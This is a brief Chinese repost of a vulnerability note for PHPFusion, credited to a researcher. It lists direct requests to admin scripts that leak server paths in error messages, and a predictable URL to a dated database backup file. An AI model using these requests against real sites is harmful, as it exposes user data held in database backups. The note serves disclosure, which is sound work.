php漏洞黑掉数据库,PHPFusion数据库备份泄露漏洞 Exploit

Ahmad Muammar (y3dips@echo.or.id)提供了如下测试方法：

http://localhost/fusion/fusion_admin/updateuser.php

Warning: main(fusion_langdiradmin/admin_members.php): failed to open stream:

No such file or directory in /var/www/html/fusion/fusion_admin/updateuser.php on line 14

Fatal error: main(): Failed opening required 'fusion_langdiradmin/admin_members.php'

(include_path='.:/usr/share/pear') in /var/www/html/fusion/fusion_admin/updateuser.php on line 14

http://localhost/fusion/fusion_admin/forums_prune.php

Fatal error: Call to undefined function:

opentable() in /var/www/html/fusion/fusion_admin/forums_prune.php on line 14

http://localhost/fusion/fusion_admin/db_backups/backup_2004-08-17_1845.sql